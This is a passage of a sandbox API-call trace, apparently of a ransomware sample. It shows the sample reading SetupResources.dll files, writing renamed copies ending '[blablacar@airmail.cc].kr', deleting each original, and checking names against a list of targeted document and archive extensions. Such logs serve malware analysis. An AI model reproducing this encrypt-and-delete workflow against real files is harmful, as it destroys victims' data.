lpString2=".kr") returned -1 [0084.317] lstrlenW (lpString="SetupResources.dll") returned 18 [0084.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.318] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=18264) returned 1 [0084.318] CloseHandle (hObject=0x314) returned 1 [0084.318] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0084.318] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.318] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.318] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.319] GetLastError () returned 0x0 [0084.319] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4758, lpOverlapped=0x0) returned 1 [0084.321] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4760, lpOverlapped=0x0) returned 1 [0084.322] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.322] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0084.322] SetEndOfFile (hFile=0x318) returned 1 [0084.323] CloseHandle (hObject=0x318) returned 1 [0084.327] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.327] SetEndOfFile (hFile=0x314) returned 1 [0084.328] CloseHandle (hObject=0x314) returned 1 [0084.328] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.328] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0084.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.329] lstrlenW (lpString=".doc") returned 4 [0084.329] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString=".docx") returned 5 [0084.329] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.329] lstrlenW (lpString=".pdf") returned 4 [0084.329] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString=".xls") returned 4 [0084.329] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString=".xlsx") returned 5 [0084.329] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.329] lstrlenW (lpString=".ppt") returned 4 [0084.329] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.329] lstrlenW (lpString=".zip") returned 4 [0084.329] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString=".rar") returned 4 [0084.329] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.329] lstrlenW (lpString=".bz2") returned 4 [0084.329] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.329] lstrlenW (lpString=".7z") returned 3 [0084.329] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString=".dbf") returned 4 [0084.330] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString=".1cd") returned 4 [0084.330] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString=".jpg") returned 4 [0084.330] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString=".doc") returned 4 [0084.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString=".docx") returned 5 [0084.330] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.330] lstrlenW (lpString=".pdf") returned 4 [0084.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString=".xls") returned 4 [0084.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString=".xlsx") returned 5 [0084.330] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.330] lstrlenW (lpString=".ppt") returned 4 [0084.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.330] lstrlenW (lpString=".zip") returned 4 [0084.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString=".rar") returned 4 [0084.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.330] lstrlenW (lpString=".bz2") returned 4 [0084.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.331] lstrlenW (lpString=".7z") returned 3 [0084.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.331] lstrlenW (lpString=".dbf") returned 4 [0084.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.331] lstrlenW (lpString=".1cd") returned 4 [0084.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0084.331] lstrlenW (lpString=".jpg") returned 4 [0084.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.331] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0084.331] lstrlenW (lpString="SetupResources.dll") returned 18 [0084.331] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.331] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=18776) returned 1 [0084.332] CloseHandle (hObject=0x314) returned 1 [0084.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0084.332] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.332] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.332] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.333] GetLastError () returned 0x0 [0084.333] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4958, lpOverlapped=0x0) returned 1 [0084.335] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4960, lpOverlapped=0x0) returned 1 [0084.336] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.336] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0084.336] SetEndOfFile (hFile=0x318) returned 1 [0084.336] CloseHandle (hObject=0x318) returned 1 [0084.339] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.339] SetEndOfFile (hFile=0x314) returned 1 [0084.340] CloseHandle (hObject=0x314) returned 1 [0084.340] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.341] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0084.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.341] lstrlenW (lpString=".doc") returned 4 [0084.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.341] lstrlenW (lpString=".docx") returned 5 [0084.341] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.341] lstrlenW (lpString=".pdf") returned 4 [0084.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.341] lstrlenW (lpString=".xls") returned 4 [0084.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.341] lstrlenW (lpString=".xlsx") returned 5 [0084.341] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.341] lstrlenW (lpString=".ppt") returned 4 [0084.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.341] lstrlenW (lpString=".zip") returned 4 [0084.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.341] lstrlenW (lpString=".rar") returned 4 [0084.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.342] lstrlenW (lpString=".bz2") returned 4 [0084.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.342] lstrlenW (lpString=".7z") returned 3 [0084.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.342] lstrlenW (lpString=".dbf") returned 4 [0084.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.342] lstrlenW (lpString=".1cd") returned 4 [0084.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.342] lstrlenW (lpString=".jpg") returned 4 [0084.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.342] lstrlenW (lpString=".doc") returned 4 [0084.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.342] lstrlenW (lpString=".docx") returned 5 [0084.342] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.342] lstrlenW (lpString=".pdf") returned 4 [0084.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.342] lstrlenW (lpString=".xls") returned 4 [0084.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.342] lstrlenW (lpString=".xlsx") returned 5 [0084.342] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.343] lstrlenW (lpString=".ppt") returned 4 [0084.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.343] lstrlenW (lpString=".zip") returned 4 [0084.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.343] lstrlenW (lpString=".rar") returned 4 [0084.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.343] lstrlenW (lpString=".bz2") returned 4 [0084.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.343] lstrlenW (lpString=".7z") returned 3 [0084.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.343] lstrlenW (lpString=".dbf") returned 4 [0084.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.343] lstrlenW (lpString=".1cd") returned 4 [0084.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0084.343] lstrlenW (lpString=".jpg") returned 4 [0084.343] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.343] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0084.343] lstrlenW (lpString="SetupResources.dll") returned 18 [0084.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.344] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=19288) returned 1 [0084.344] CloseHandle (hObject=0x314) returned 1 [0084.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0084.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.344] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.344] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.345] GetLastError () returned 0x0 [0084.345] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0084.557] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0084.558] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.559] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0084.559] SetEndOfFile (hFile=0x318) returned 1 [0084.559] CloseHandle (hObject=0x318) returned 1 [0084.561] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.561] SetEndOfFile (hFile=0x314) returned 1 [0084.562] CloseHandle (hObject=0x314) returned 1 [0084.562] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.562] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0084.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.563] lstrlenW (lpString=".doc") returned 4 [0084.563] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString=".docx") returned 5 [0084.563] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.563] lstrlenW (lpString=".pdf") returned 4 [0084.563] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString=".xls") returned 4 [0084.563] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString=".xlsx") returned 5 [0084.563] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.563] lstrlenW (lpString=".ppt") returned 4 [0084.563] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.563] lstrlenW (lpString=".zip") returned 4 [0084.563] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString=".rar") returned 4 [0084.563] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.563] lstrlenW (lpString=".bz2") returned 4 [0084.563] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.563] lstrlenW (lpString=".7z") returned 3 [0084.564] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString=".dbf") returned 4 [0084.564] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString=".1cd") returned 4 [0084.564] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString=".jpg") returned 4 [0084.564] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString=".doc") returned 4 [0084.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.564] lstrlenW (lpString=".docx") returned 5 [0084.564] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.564] lstrlenW (lpString=".pdf") returned 4 [0084.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.564] lstrlenW (lpString=".xls") returned 4 [0084.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.564] lstrlenW (lpString=".xlsx") returned 5 [0084.564] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.564] lstrlenW (lpString=".ppt") returned 4 [0084.564] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.564] lstrlenW (lpString=".zip") returned 4 [0084.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.565] lstrlenW (lpString=".rar") returned 4 [0084.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.565] lstrlenW (lpString=".bz2") returned 4 [0084.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.565] lstrlenW (lpString=".7z") returned 3 [0084.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.565] lstrlenW (lpString=".dbf") returned 4 [0084.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.565] lstrlenW (lpString=".1cd") returned 4 [0084.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.565] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0084.565] lstrlenW (lpString=".jpg") returned 4 [0084.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.565] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0084.565] lstrlenW (lpString="SetupResources.dll") returned 18 [0084.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.566] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=17240) returned 1 [0084.566] CloseHandle (hObject=0x314) returned 1 [0084.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0084.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.567] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.567] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.567] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.567] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.567] GetLastError () returned 0x0 [0084.567] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4358, lpOverlapped=0x0) returned 1 [0084.569] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4360, lpOverlapped=0x0) returned 1 [0084.571] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, 